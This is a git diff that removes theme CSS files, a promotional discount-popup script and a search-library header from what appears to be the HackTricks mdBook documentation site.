-    background: var(--table-alternate-bg);
-}
-
-
-blockquote {
-    margin: 20px 0;
-    padding: 0 20px;
-    color: var(--fg);
-    background-color: var(--quote-bg);
-    border-block-start: .1em solid var(--quote-border);
-    border-block-end: .1em solid var(--quote-border);
-}
-
-.admonition,
-blockquote.admonition,
-.blockquote-tag,
-.note,
-.tip,
-.warning,
-.caution,
-.important,
-.info,
-.success,
-.danger,
-blockquote.note,
-blockquote.tip,
-blockquote.warning,
-blockquote.caution,
-blockquote.important,
-blockquote.info,
-blockquote.success,
-blockquote.danger {
-    --admonition-bg: var(--admonition-default-bg);
-    --admonition-border: var(--admonition-default-border);
-    --admonition-accent: var(--admonition-default-accent);
-    --admonition-icon: var(--admonition-icon-default);
-    position: relative;
-    margin: 20px 0;
-    padding: 14px 18px 14px 54px;
-    color: var(--fg);
-    background: var(--admonition-bg);
-    border: 1px solid var(--admonition-border);
-    border-block-start: none;
-    border-block-end: none;
-    border-radius: 12px;
-    box-shadow: 0 12px 28px var(--admonition-shadow), inset 4px 0 0 var(--admonition-accent);
-}
-
-.blockquote-tag {
-    padding: 14px 18px;
-}
-
-.admonition.note,
-.note,
-blockquote.note {
-    --admonition-bg: var(--admonition-note-bg);
-    --admonition-border: var(--admonition-note-border);
-    --admonition-accent: var(--admonition-note-accent);
-    --admonition-icon: var(--admonition-icon-note);
-}
-
-.admonition.info,
-.info,
-blockquote.info {
-    --admonition-bg: var(--admonition-note-bg);
-    --admonition-border: var(--admonition-note-border);
-    --admonition-accent: var(--admonition-note-accent);
-    --admonition-icon: var(--admonition-icon-note);
-}
-
-.blockquote-tag-note,
-.blockquote-tag-info {
-    --admonition-bg: var(--admonition-note-bg);
-    --admonition-border: var(--admonition-note-border);
-    --admonition-accent: var(--admonition-note-accent);
-}
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-.admonition.tip,
-.tip,
-blockquote.tip,
-.blockquote-tag-tip,
-.admonition.success,
-.success,
-blockquote.success {
-    --admonition-bg: var(--admonition-tip-bg);
-    --admonition-border: var(--admonition-tip-border);
-    --admonition-accent: var(--admonition-tip-accent);
-    --admonition-icon: var(--admonition-icon-tip);
-}
-
-.admonition.warning,
-.warning,
-blockquote.warning,
-.blockquote-tag-warning,
-.admonition.important,
-.important,
-blockquote.important {
-    --admonition-bg: var(--admonition-warning-bg);
-    --admonition-border: var(--admonition-warning-border);
-    --admonition-accent: var(--admonition-warning-accent);
-    --admonition-icon: var(--admonition-icon-warning);
-}
-
-.admonition.caution,
-.caution,
-blockquote.caution,
-.blockquote-tag-caution,
-.admonition.danger,
-.danger,
-blockquote.danger {
-    --admonition-bg: var(--admonition-caution-bg);
-    --admonition-border: var(--admonition-caution-border);
-    --admonition-accent: var(--admonition-caution-accent);
-    --admonition-icon: var(--admonition-icon-caution);
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-.admonition::before,
-blockquote.admonition::before,
-.note::before,
-.tip::before,
-.warning::before,
-.caution::before,
-.important::before,
-.info::before,
-.success::before,
-.danger::before,
-blockquote.note::before,
-blockquote.tip::before,
-blockquote.warning::before,
-blockquote.caution::before,
-blockquote.important::before,
-blockquote.info::before,
-blockquote.success::before,
-blockquote.danger::before {
-    content: "";
-    position: absolute;
-    top: 14px;
-    left: 18px;
-    width: 20px;
-    height: 20px;
-    background-color: var(--admonition-accent);
-    mask: var(--admonition-icon) no-repeat center / contain;
-    -webkit-mask: var(--admonition-icon) no-repeat center / contain;
-}
-
-.admonition-title {
-    margin: 0 0 8px;
-    font-weight: 700;
-    text-transform: uppercase;
-    letter-spacing: 0.06em;
-    font-size: 0.8em;
-    color: var(--admonition-accent);
-}
-
-.blockquote-tag-title {
-    margin: 0 0 10px;
-    font-weight: 700;
-    text-transform: uppercase;
-    letter-spacing: 0.06em;
-    font-size: 0.8em;
-    color: var(--admonition-accent);
-    display: flex;
-    align-items: center;
-    gap: 8px;
-}
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-.blockquote-tag-title svg {
-    flex: 0 0 auto;
-    fill: currentColor;
-}
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-.admonition > :last-child,
-blockquote.admonition > :last-child,
-.blockquote-tag > :last-child,
-.note > :last-child,
-.tip > :last-child,
-.warning > :last-child,
-.caution > :last-child,
-.important > :last-child,
-.info > :last-child,
-.success > :last-child,
-.danger > :last-child,
-blockquote.note > :last-child,
-blockquote.tip > :last-child,
-blockquote.warning > :last-child,
-blockquote.caution > :last-child,
-blockquote.important > :last-child,
-blockquote.info > :last-child,
-blockquote.success > :last-child,
-blockquote.danger > :last-child {
-    margin-bottom: 0;
-}
-
-kbd {
-    background-color: var(--table-border-color);
-    border-radius: 4px;
-    border: solid 1px var(--theme-popup-border);
-    box-shadow: inset 0 -1px 0 var(--theme-hover);
-    display: inline-block;
-    font-size: var(--code-font-size);
-    font-family: var(--mono-font);
-    line-height: 10px;
-    padding: 4px 5px;
-    vertical-align: middle;
-}
-
-sup {
-    /* Set the line-height for superscript and footnote references so that there
-       isn't an awkward space appearing above lines that contain the footnote.
-
-       See https://github.com/rust-lang/mdBook/pull/2443#discussion_r1813773583
-       for an explanation.
-    */
-    line-height: 0;
-}
-
-:not(.footnote-definition) + .footnote-definition,
-.footnote-definition + :not(.footnote-definition) {
-    margin-block-start: 2em;
-}
-.footnote-definition {
-    font-size: 0.9em;
-    margin: 0.5em 0;
-}
-.footnote-definition p {
-    display: inline;
-}
-
-.tooltiptext {
-    position: absolute;
-    visibility: hidden;
-    color: #fff;
-    background-color: #333;
-    transform: translateX(-50%); /* Center by moving tooltip 50% of its width left */
-    left:35%; /* Half of the width of the icon */
-    top: -35px;
-    font-size: 12px;
-    text-align: center;
-    border-radius: 6px;
-    padding: 5px 8px;
-    margin: 5px;
-    z-index: 1000;
-}
-.tooltipped .tooltiptext {
-    visibility: visible;
-}
-
-.result-no-output {
-    font-style: italic;
-}
diff --git a/theme/css/print.css b/theme/css/print.css
deleted file mode 100644
index 80ec3a54419..00000000000
--- a/theme/css/print.css
+++ /dev/null
@@ -1,50 +0,0 @@
-
-#sidebar,
-#menu-bar,
-.nav-chapters,
-.mobile-nav-chapters {
-    display: none;
-}
-
-#page-wrapper.page-wrapper {
-    transform: none !important;
-    margin-inline-start: 0px;
-    overflow-y: initial;
-}
-
-#content {
-    max-width: none;
-    margin: 0;
-    padding: 0;
-}
-
-.page {
-    overflow-y: initial;
-}
-
-code {
-    direction: ltr !important;
-}
-
-pre > .buttons {
-    z-index: 2;
-}
-
-a, a:visited, a:active, a:hover {
-    color: #4183c4;
-    text-decoration: none;
-}
-
-h1, h2, h3, h4, h5, h6 {
-    page-break-inside: avoid;
-    page-break-after: avoid;
-}
-
-pre, code {
-    page-break-inside: avoid;
-    white-space: pre-wrap;
-}
-
-.fa {
-    display: none !important;
-}
diff --git a/theme/css/variables.css b/theme/css/variables.css
deleted file mode 100644
index 31fa4030c35..00000000000
--- a/theme/css/variables.css
+++ /dev/null
@@ -1,656 +0,0 @@
-
-/* Globals */
-
-:root {
-    --sidebar-width: 300px;
-    --sidebar-resize-indicator-width: 8px;
-    --sidebar-resize-indicator-space: 2px;
-    --page-padding: 20px;
-    --content-max-width: 880px;
-    --container-max-width: 1600px;
-    --menu-bar-height: 52px;
-    --footer-height: 75px;
-    --body-font: "Open Sans", "Segoe UI", system-ui, sans-serif;
-    --heading-font: "Open Sans", "Segoe UI", system-ui, sans-serif;
-    --mono-font: "Source Code Pro", Consolas, "Ubuntu Mono", Menlo, "DejaVu Sans Mono", monospace, monospace;
-    --bg-effect-primary: rgba(246, 25, 0, 0.08);
-    --bg-effect-secondary: rgba(255, 61, 46, 0.06);
-    --bg-effect-tertiary: rgba(246, 25, 0, 0.03);
-    --grid-overlay-color: rgba(246, 25, 0, 0.03);
-    --particle-color: #f61900;
-    --code-font-size: 0.875em /* please adjust the ace font size accordingly in editor.js */
-    --admonition-icon-default: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M12 2a10 10 0 100 20 10 10 0 000-20zm1 15h-2v-6h2v6zm0-8h-2V7h2v2z'/></svg>");
-    --admonition-icon-note: var(--admonition-icon-default);
-    --admonition-icon-tip: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M13 2L3 14h7l-1 8 10-12h-7l1-8z'/></svg>");
-    --admonition-icon-warning: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M12 2L1 21h22L12 2zm1 15h-2v-2h2v2zm0-4h-2v-4h2v4z'/></svg>");
-    --admonition-icon-caution: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><path d='M12 2a10 10 0 100 20 10 10 0 000-20zm5 13.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12 17 15.59z'/></svg>");
-}
-
-/* Themes */
-
-.ayu {
-    --bg: hsl(210, 25%, 8%);
-    --fg: #a9a9a9;
-
-    --sidebar-bg: #14191f;
-    --sidebar-fg: #c8c9db;
-    --sidebar-non-existant: #5c6773;
-    --sidebar-active: #ffb454;
-    --sidebar-spacer: #2d334f;
-
-    --scrollbar: var(--sidebar-fg);
-
-    --icons: #737480;
-    --icons-hover: #b7b9cc;
-
-    --links: #0096cf;
-
-    --inline-code-color: #ffb454;
-
-    --theme-popup-bg: #14191f;
-    --theme-popup-border: #5c6773;
-    --theme-hover: #191f26;
-
-    --quote-bg: hsl(226, 15%, 17%);
-    --quote-border: hsl(226, 15%, 22%);
-
-    --warning-border: #ff8e00;
-
-    --table-border-color: hsl(210, 25%, 13%);
-    --table-header-bg: hsl(210, 25%, 28%);
-    --table-alternate-bg: hsl(210, 25%, 11%);
-    --admonition-shadow: rgba(0, 0, 0, 0.4);
-    --admonition-default-bg: hsl(210, 33%, 16%);
-    --admonition-default-border: hsl(210, 38%, 28%);
-    --admonition-default-accent: #59a7ff;
-    --admonition-note-bg: hsl(210, 45%, 20%);
-    --admonition-note-border: hsl(210, 45%, 30%);
-    --admonition-note-accent: #6bb2ff;
-    --admonition-tip-bg: hsl(46, 45%, 20%);
-    --admonition-tip-border: hsl(46, 45%, 30%);
-    --admonition-tip-accent: #ffd166;
-    --admonition-warning-bg: hsl(0, 42%, 19%);
-    --admonition-warning-border: hsl(0, 38%, 30%);
-    --admonition-warning-accent: #ff6b6b;
-    --admonition-caution-bg: hsl(28, 45%, 19%);
-    --admonition-caution-border: hsl(28, 45%, 30%);
-    --admonition-caution-accent: #ffb25b;
-
-    --searchbar-border-color: #848484;
-    --searchbar-bg: #424242;
-    --searchbar-fg: #fff;
-    --searchbar-shadow-color: #d4c89f;
-    --searchresults-header-fg: #666;
-    --searchresults-border-color: #888;
-    --searchresults-li-bg: #252932;
-    --search-mark-bg: #e3b171;
-
-    --color-scheme: dark;
-
-    /* Same as `--icons` */
-    --copy-button-filter: invert(45%) sepia(6%) saturate(621%) hue-rotate(198deg) brightness(99%) contrast(85%);
-    /* Same as `--sidebar-active` */
-    --copy-button-filter-hover: invert(68%) sepia(55%) saturate(531%) hue-rotate(341deg) brightness(104%) contrast(101%);
-}
-
-.coal {
-    --bg: hsl(200, 7%, 8%);
-    --fg: #7c8790;
-
-    --sidebar-bg: #292c2f;
-    --sidebar-fg: #a1adb8;
-    --sidebar-non-existant: #505254;
-    --sidebar-active: #3473ad;
-    --sidebar-spacer: #393939;
-
-    --scrollbar: var(--sidebar-fg);
-
-    --icons: #43484d;
-    --icons-hover: #b3c0cc;
-
-    --links: #2b79a2;
-
-    --inline-code-color: #c5c8c6;
-
-    --theme-popup-bg: #141617;
-    --theme-popup-border: #43484d;
-    --theme-hover: #1f2124;
-
-    --quote-bg: hsl(234, 21%, 18%);
-    --quote-border: hsl(234, 21%, 23%);
-
-    --warning-border: #ff8e00;
-
-    --table-border-color: hsl(200, 7%, 13%);
-    --table-header-bg: hsl(200, 7%, 28%);
-    --table-alternate-bg: hsl(200, 7%, 11%);
-    --admonition-shadow: rgba(0, 0, 0, 0.4);
-    --admonition-default-bg: hsl(205, 20%, 16%);
-    --admonition-default-border: hsl(205, 22%, 28%);
-    --admonition-default-accent: #63a7ff;
-    --admonition-note-bg: hsl(205, 32%, 20%);
-    --admonition-note-border: hsl(205, 32%, 30%);
-    --admonition-note-accent: #6bb2ff;
-    --admonition-tip-bg: hsl(46, 42%, 20%);
-    --admonition-tip-border: hsl(46, 42%, 30%);
-    --admonition-tip-accent: #ffd166;
-    --admonition-warning-bg: hsl(0, 38%, 19%);
-    --admonition-warning-border: hsl(0, 36%, 30%);
-    --admonition-warning-accent: #ff6b6b;
-    --admonition-caution-bg: hsl(28, 42%, 19%);
-    --admonition-caution-border: hsl(28, 42%, 30%);
-    --admonition-caution-accent: #ffb25b;
-
-    --searchbar-border-color: #aaa;
-    --searchbar-bg: #b7b7b7;
-    --searchbar-fg: #000;
-    --searchbar-shadow-color: #aaa;
-    --searchresults-header-fg: #666;
-    --searchresults-border-color: #98a3ad;
-    --searchresults-li-bg: #2b2b2f;
-    --search-mark-bg: #355c7d;
-
-    --color-scheme: dark;
-
-    /* Same as `--icons` */
-    --copy-button-filter: invert(26%) sepia(8%) saturate(575%) hue-rotate(169deg) brightness(87%) contrast(82%);
-    /* Same as `--sidebar-active` */
-    --copy-button-filter-hover: invert(36%) sepia(70%) saturate(503%) hue-rotate(167deg) brightness(98%) contrast(89%);
-}
-
-.light, html:not(.js) {
-    --bg: hsl(0, 0%, 100%);
-    --fg: hsl(0, 0%, 24%);
-
-    --sidebar-bg: #fafafa;
-    --sidebar-fg: hsl(0, 0%, 0%);
-    --sidebar-non-existant: #aaaaaa;
-    --sidebar-active: #1f1fff;
-    --sidebar-spacer: #f4f4f4;
-
-    --scrollbar: #8F8F8F;
-
-    --icons: #747474;
-    --icons-hover: #000000;
-
-    --links: #20609f;
-
-    --inline-code-color: #301900;
-
-    --theme-popup-bg: #fafafa;
-    --theme-popup-border: #cccccc;
-    --theme-hover: #e6e6e6;
-
-    --quote-bg: hsl(197, 37%, 96%);
-    --quote-border: hsl(197, 37%, 91%);
-
-    --warning-border: #ff8e00;
-
-    --table-border-color: hsl(0, 0%, 95%);
-    --table-header-bg: hsl(0, 0%, 80%);
-    --table-alternate-bg: hsl(0, 0%, 97%);
-    --admonition-shadow: rgba(14, 24, 36, 0.12);
-    --admonition-default-bg: hsl(210, 60%, 96%);
-    --admonition-default-border: hsl(210, 50%, 85%);
-    --admonition-default-accent: #1b5fd6;
-    --admonition-note-bg: hsl(210, 80%, 94%);
-    --admonition-note-border: hsl(210, 60%, 85%);
-    --admonition-note-accent: #1b5fd6;
-    --admonition-tip-bg: hsl(46, 100%, 90%);
-    --admonition-tip-border: hsl(46, 80%, 78%);
-    --admonition-tip-accent: #9a6a00;
-    --admonition-warning-bg: hsl(0, 90%, 92%);
-    --admonition-warning-border: hsl(0, 70%, 78%);
-    --admonition-warning-accent: #c0392b;
-    --admonition-caution-bg: hsl(28, 100%, 92%);
-    --admonition-caution-border: hsl(28, 80%, 78%);
-    --admonition-caution-accent: #b85c00;
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-        --copy-button-filter: invert(26%) sepia(8%) saturate(575%) hue-rotate(169deg) brightness(87%) contrast(82%);
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-    }
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-    }
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-    --copy-button-filter: invert(45.49%);
-    /* Same as `--sidebar-active` */
-    --copy-button-filter-hover: invert(14%) sepia(93%) saturate(4250%) hue-rotate(243deg) brightness(99%) contrast(130%);
-
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-        --mdbook-alerts-color-link-hover: rgba(249, 115, 22, 0.08) !important;
-    }
-      
-    .mdbook-alerts-caution {
-        --mdbook-alerts-color: rgba(239, 68, 68, 0.08) !important;
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-    }
-}
diff --git a/theme/discount.css b/theme/discount.css
deleted file mode 100644
index 013c8538577..00000000000
--- a/theme/discount.css
+++ /dev/null
@@ -1,299 +0,0 @@
-.ht-discount-overlay,
-.ht-discount-overlay * {
-    box-sizing: border-box;
-}
-
-.ht-discount-overlay {
-    position: fixed;
-    inset: 0;
-    z-index: 100000;
-    display: flex;
-    align-items: center;
-    justify-content: center;
-    padding: 18px;
-    background: rgba(2, 6, 16, 0.66);
-    backdrop-filter: blur(8px);
-    opacity: 0;
-    visibility: hidden;
-    transition: opacity 0.2s ease, visibility 0.2s ease;
-}
-
-.ht-discount-overlay.ht-discount-overlay--visible {
-    opacity: 1;
-    visibility: visible;
-}
-
-.ht-discount-card {
-    --discount-accent: #2f7dff;
-    --discount-accent-2: #ff3b4e;
-    --discount-rx: 0deg;
-    --discount-ry: 0deg;
-    --discount-lift: 0px;
-    --discount-scale: 1;
-    --discount-img-x: 0px;
-    --discount-img-y: 0px;
-    position: relative;
-    width: min(92vw, 520px);
-    max-height: min(92vh, 760px);
-    isolation: isolate;
-    overflow: hidden;
-    border-radius: 16px;
-    padding: 12px;
-    background: transparent;
-    color: #eef4ff;
-    font-family: "Chakra Petch", "Open Sans", system-ui, sans-serif;
-    box-shadow: 0 26px 70px -28px rgba(0, 0, 0, 0.95), 0 0 0 1px rgba(120, 150, 255, 0.1);
-    transform: perspective(1000px) rotateX(var(--discount-rx)) rotateY(var(--discount-ry)) translateY(var(--discount-lift)) scale(var(--discount-scale));
-    transform-style: preserve-3d;
-    transition: transform 0.18s cubic-bezier(.2, .7, .3, 1);
-}
-
-.ht-discount-card::before {
-    content: "";
-    position: absolute;
-    inset: 1px;
-    z-index: -2;
-    border-radius: 15px;
-    background: linear-gradient(162deg, #0a1016, #0c0910);
-}
-
-.ht-discount-grid {
-    position: absolute;
-    inset: -1px;
-    z-index: -3;
-    border-radius: 17px;
-    overflow: hidden;
-    pointer-events: none;
-}
-
-.ht-discount-grid::before {
-    content: "";
-    position: absolute;
-    top: 50%;
-    left: 50%;
-    width: 760px;
-    height: 760px;
-    margin: -380px 0 0 -380px;
-    background: conic-gradient(from 0deg, transparent 0deg, var(--discount-accent) 58deg, transparent 128deg, var(--discount-accent-2) 208deg, transparent 300deg);
-    opacity: 0.58;
-    animation: sc-spin 5s linear infinite;
-}
-
-.ht-discount-scan {
-    position: absolute;
-    inset: 1px;
-    z-index: -1;
-    border-radius: 15px;
-    overflow: hidden;
-    pointer-events: none;
-    opacity: 0.52;
-}
-
-.ht-discount-scan::before {
-    content: "";
-    position: absolute;
-    left: 0;
-    right: 0;
-    height: 120px;
-    background: linear-gradient(180deg, transparent, rgba(47, 125, 255, 0.16), transparent);
-    animation: sc-scan 3.7s linear infinite;
-}
-
-.ht-discount-corners {
-    position: absolute;
-    inset: 1px;
-    z-index: -1;
-    border-radius: 15px;
-    pointer-events: none;
-    background: repeating-linear-gradient(0deg, transparent 0 2px, rgba(0, 0, 0, 0.22) 2px 3px);
-    mix-blend-mode: overlay;
-    opacity: 0.42;
-}
-
-.ht-discount-kicker {
-    position: absolute;
-    top: 11px;
-    left: 14px;
-    z-index: 2;
-    display: inline-flex;
-    align-items: center;
-    gap: 5px;
-    max-width: calc(100% - 78px);
-    padding: 4px 7px;
-    border: 1px solid rgba(47, 125, 255, 0.38);
-    border-radius: 4px;
-    background: rgba(4, 10, 20, 0.72);
-    color: var(--discount-accent);
-    font-family: "JetBrains Mono", monospace;
-    font-size: 8px;
-    font-weight: 700;
-    letter-spacing: 0.18em;
-    line-height: 1.2;
-    text-transform: uppercase;
-    backdrop-filter: blur(8px);
-}
-
-.ht-discount-kicker::before {
-    content: "";
-    width: 5px;
-    height: 5px;
-    flex: 0 0 auto;
-    border-radius: 50%;
-    background: var(--discount-accent);
-    box-shadow: 0 0 8px var(--discount-accent);
-    animation: sc-blink 1.6s ease-in-out infinite;
-}
-
-.ht-discount-close {
-    position: absolute;
-    top: 10px;
-    right: 15px;
-    z-index: 3;
-    width: 34px;
-    height: 34px;
-    display: inline-flex;
-    align-items: center;
-    justify-content: center;
-    border: 1px solid rgba(255, 255, 255, 0.26);
-    border-radius: 50%;
-    background: rgba(4, 10, 20, 0.7);
-    color: #eef4ff;
-    cursor: pointer;
-    font-family: "JetBrains Mono", monospace;
-    font-size: 18px;
-    line-height: 1;
-    backdrop-filter: blur(8px);
-}
-
-.ht-discount-close:hover,
-.ht-discount-close:focus-visible {
-    border-color: rgba(255, 59, 78, 0.7);
-    color: #fff;
-    outline: none;
-}
-
-.ht-discount-link {
-    position: relative;
-    display: block;
-    overflow: hidden;
-    border: 1px solid rgba(47, 125, 255, 0.28);
-    border-radius: 12px;
-    background: #08101a;
-    text-decoration: none;
-}
-
-.ht-discount-link::after {
-    content: "";
-    position: absolute;
-    inset: 0;
-    pointer-events: none;
-    background: linear-gradient(135deg, rgba(255, 255, 255, 0.18), transparent 26%, transparent 72%, rgba(47, 125, 255, 0.18));
-    mix-blend-mode: screen;
-}
-
-.ht-discount-image {
-    display: block;
-    width: 100%;
-    aspect-ratio: 1 / 1;
-    object-fit: cover;
-    transform: translate3d(var(--discount-img-x), var(--discount-img-y), 0) scale(1.025);
-    transition: transform 0.18s cubic-bezier(.2, .7, .3, 1);
-}
-
-.ht-discount-actions {
-    display: grid;
-    grid-template-columns: minmax(0, 1fr) auto;
-    gap: 10px;
-    align-items: center;
-    padding-top: 12px;
-}
-
-.ht-discount-primary,
-.ht-discount-delay {
-    min-height: 40px;
-    display: inline-flex;
-    align-items: center;
-    justify-content: center;
-    border-radius: 9px;
-    font-family: "JetBrains Mono", monospace;
-    font-size: 12px;
-    font-weight: 700;
-    letter-spacing: 0.08em;
-    line-height: 1.2;
-    text-align: center;
-    text-transform: uppercase;
-}
-
-.ht-discount-primary {
-    border: 1px solid rgba(47, 125, 255, 0.42);
-    background: rgba(47, 125, 255, 0.1);
-    color: var(--discount-accent);
-    text-decoration: none;
-}
-
-.ht-discount-primary::after {
-    content: "->";
-    margin-left: 9px;
-    animation: sc-arrow 1.4s ease-in-out infinite;
-}
-
-.ht-discount-delay {
-    border: 1px solid rgba(255, 255, 255, 0.2);
-    background: rgba(255, 255, 255, 0.06);
-    color: rgba(238, 244, 255, 0.84);
-    cursor: pointer;
-    padding: 0 12px;
-}
-
-.ht-discount-primary:hover,
-.ht-discount-primary:focus-visible,
-.ht-discount-delay:hover,
-.ht-discount-delay:focus-visible {
-    border-color: rgba(255, 59, 78, 0.7);
-    color: #fff;
-    outline: none;
-}
-
-@media (max-width: 560px) {
-    .ht-discount-overlay {
-        padding: 10px;
-        align-items: flex-end;
-    }
-
-    .ht-discount-card {
-        width: min(100%, 430px);
-        padding: 9px;
-        border-radius: 14px;
-    }
-
-    .ht-discount-actions {
-        grid-template-columns: 1fr;
-    }
-
-    .ht-discount-kicker {
-        top: 10px;
-        left: 11px;
-        font-size: 8px;
-        letter-spacing: 0.14em;
-    }
-
-    .ht-discount-close {
-        top: 8px;
-        right: 11px;
-    }
-}
-
-@media (prefers-reduced-motion: reduce) {
-    .ht-discount-overlay,
-    .ht-discount-card,
-    .ht-discount-image {
-        transition: none;
-    }
-
-    .ht-discount-grid::before,
-    .ht-discount-scan::before,
-    .ht-discount-kicker::before,
-    .ht-discount-primary::after {
-        animation: none;
-    }
-}
diff --git a/theme/discount.js b/theme/discount.js
deleted file mode 100644
index 59522e3e3a0..00000000000
--- a/theme/discount.js
+++ /dev/null
@@ -1,206 +0,0 @@
-;(function discount() {
-  var CAMPAIGN_ID = "summer-2026"
-  var DISMISS_KEY = "htDiscountDismissedUntil:" + CAMPAIGN_ID
-  var DISMISS_MS = 10 * 24 * 60 * 60 * 1000
-  var IMAGE_PATH = "images/hacktricks-summer-discount-2026.png"
-  var TARGET_URL = "https://hacktricks-training.com"
-  var TITLE = "HackTricks Training Summer Discount"
-
-  function storageGet(key) {
-    try {
-      return window.localStorage.getItem(key)
-    } catch (error) {
-      return null
-    }
-  }
-
-  function storageSet(key, value) {
-    try {
-      window.localStorage.setItem(key, value)
-    } catch (error) {}
-  }
-
-  function getParam(name) {
-    try {
-      return new URLSearchParams(window.location.search).get(name)
-    } catch (error) {
-      return null
-    }
-  }
-
-  function shouldReduceMotion() {
-    return Boolean(
-      document.documentElement.classList.contains("motion-reduced") ||
-        (window.__hacktricksMotion &&
-          window.__hacktricksMotion.shouldReduceMotion &&
-          window.__hacktricksMotion.shouldReduceMotion()) ||
-        (window.matchMedia &&
-          window.matchMedia("(prefers-reduced-motion: reduce)").matches)
-    )
-  }
-
-  function getAssetUrl(path) {
-    var root = typeof window.path_to_root === "string" ? window.path_to_root : ""
-    return new URL(root + path, document.baseURI || window.location.href).href
-  }
-
-  function isDismissed() {
-    if (getParam("discount") === "show") {
-      return false
-    }
-
-    var dismissedUntil = Number(storageGet(DISMISS_KEY))
-    return Number.isFinite(dismissedUntil) && Date.now() < dismissedUntil
-  }
-
-  function close(overlay, onKeydown) {
-    overlay.classList.remove("ht-discount-overlay--visible")
-    if (onKeydown) {
-      document.removeEventListener("keydown", onKeydown)
-    }
-    window.setTimeout(function() {
-      overlay.remove()
-    }, 220)
-  }
-
-  function dismissFor15Days(overlay, onKeydown) {
-    storageSet(DISMISS_KEY, String(Date.now() + DISMISS_MS))
-    close(overlay, onKeydown)
-  }
-
-  function initMotion(card) {
-    if (!card || shouldReduceMotion()) {
-      return
-    }
-
-    card.addEventListener("mouseenter", function() {
-      card.style.setProperty("--discount-lift", "-5px")
-      card.style.setProperty("--discount-scale", "1.01")
-    })
-
-    card.addEventListener("mouseleave", function() {
-      card.style.setProperty("--discount-rx", "0deg")
-      card.style.setProperty("--discount-ry", "0deg")
-      card.style.setProperty("--discount-lift", "0px")
-      card.style.setProperty("--discount-scale", "1")
-      card.style.setProperty("--discount-img-x", "0px")
-      card.style.setProperty("--discount-img-y", "0px")
-    })
-
-    card.addEventListener("mousemove", function(event) {
-      var rect = card.getBoundingClientRect()
-      var x = (event.clientX - rect.left) / rect.width - 0.5
-      var y = (event.clientY - rect.top) / rect.height - 0.5
-
-      card.style.setProperty("--discount-rx", (-y * 9).toFixed(2) + "deg")
-      card.style.setProperty("--discount-ry", (x * 9).toFixed(2) + "deg")
-      card.style.setProperty("--discount-img-x", (x * 10).toFixed(2) + "px")
-      card.style.setProperty("--discount-img-y", (y * 10).toFixed(2) + "px")
-    })
-  }
-
-  function createDiscount() {
-    if (isDismissed() || document.querySelector(".ht-discount-overlay")) {
-      return
-    }
-
-    var overlay = document.createElement("div")
-    overlay.className = "ht-discount-overlay"
-    overlay.setAttribute("role", "dialog")
-    overlay.setAttribute("aria-modal", "true")
-    overlay.setAttribute("aria-label", TITLE)
-
-    var card = document.createElement("div")
-    card.className = "ht-discount-card"
-
-    var grid = document.createElement("span")
-    grid.className = "ht-discount-grid"
-    grid.setAttribute("aria-hidden", "true")
-
-    var scan = document.createElement("span")
-    scan.className = "ht-discount-scan"
-    scan.setAttribute("aria-hidden", "true")
-
-    var corners = document.createElement("span")
-    corners.className = "ht-discount-corners"
-    corners.setAttribute("aria-hidden", "true")
-
-    var kicker = document.createElement("span")
-    kicker.className = "ht-discount-kicker"
-    kicker.textContent = "Summer offer"
-
-    var closeButton = document.createElement("button")
-    closeButton.className = "ht-discount-close"
-    closeButton.type = "button"
-    closeButton.setAttribute("aria-label", "Close discount offer")
-    closeButton.textContent = "x"
-
-    var imageLink = document.createElement("a")
-    imageLink.className = "ht-discount-link"
-    imageLink.href = TARGET_URL
-    imageLink.target = "_blank"
-    imageLink.rel = "noopener noreferrer"
-    imageLink.setAttribute("aria-label", TITLE)
-
-    var image = document.createElement("img")
-    image.className = "ht-discount-image"
-    image.src = getAssetUrl(IMAGE_PATH)
-    image.alt = TITLE
-    image.decoding = "async"
-
-    var actions = document.createElement("div")
-    actions.className = "ht-discount-actions"
-
-    var primary = document.createElement("a")
-    primary.className = "ht-discount-primary"
-    primary.href = TARGET_URL
-    primary.target = "_blank"
-    primary.rel = "noopener noreferrer"
-    primary.textContent = "Open offer"
-
-    var delayButton = document.createElement("button")
-    delayButton.className = "ht-discount-delay"
-    delayButton.type = "button"
-    delayButton.textContent = "Hide for 10 days"
-
-    imageLink.appendChild(image)
-    actions.append(primary, delayButton)
-    card.append(grid, scan, corners, kicker, closeButton, imageLink, actions)
-    overlay.appendChild(card)
-    document.body.appendChild(overlay)
-
-    initMotion(card)
-
-    function onKeydown(event) {
-      if (event.key === "Escape" && overlay.isConnected) {
-        close(overlay, onKeydown)
-      }
-    }
-
-    closeButton.addEventListener("click", function() {
-      close(overlay, onKeydown)
-    })
-
-    delayButton.addEventListener("click", function() {
-      dismissFor15Days(overlay, onKeydown)
-    })
-
-    overlay.addEventListener("click", function(event) {
-      if (event.target === overlay) {
-        close(overlay, onKeydown)
-      }
-    })
-
-    document.addEventListener("keydown", onKeydown)
-
-    window.setTimeout(function() {
-      overlay.classList.add("ht-discount-overlay--visible")
-    }, 80)
-  }
-
-  if (document.readyState === "loading") {
-    document.addEventListener("DOMContentLoaded", createDiscount, { once: true })
-  } else {
-    createDiscount()
-  }
-})()
diff --git a/theme/elasticlunr.min.js b/theme/elasticlunr.min.js
deleted file mode 100644
index 32cb1bce1c6..00000000000
--- a/theme/elasticlunr.min.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/**
- * elasticlunr - http://weixsong.github.io
- * Lightweight full-text search engine in Javascript for browser search and offline search. - 0.9.5
- *
- * Copyright (C) 2016 Oliver Nightingale
- * Copyright (C) 2016 Wei Song
- * MIT Licensed
- * @license
- */
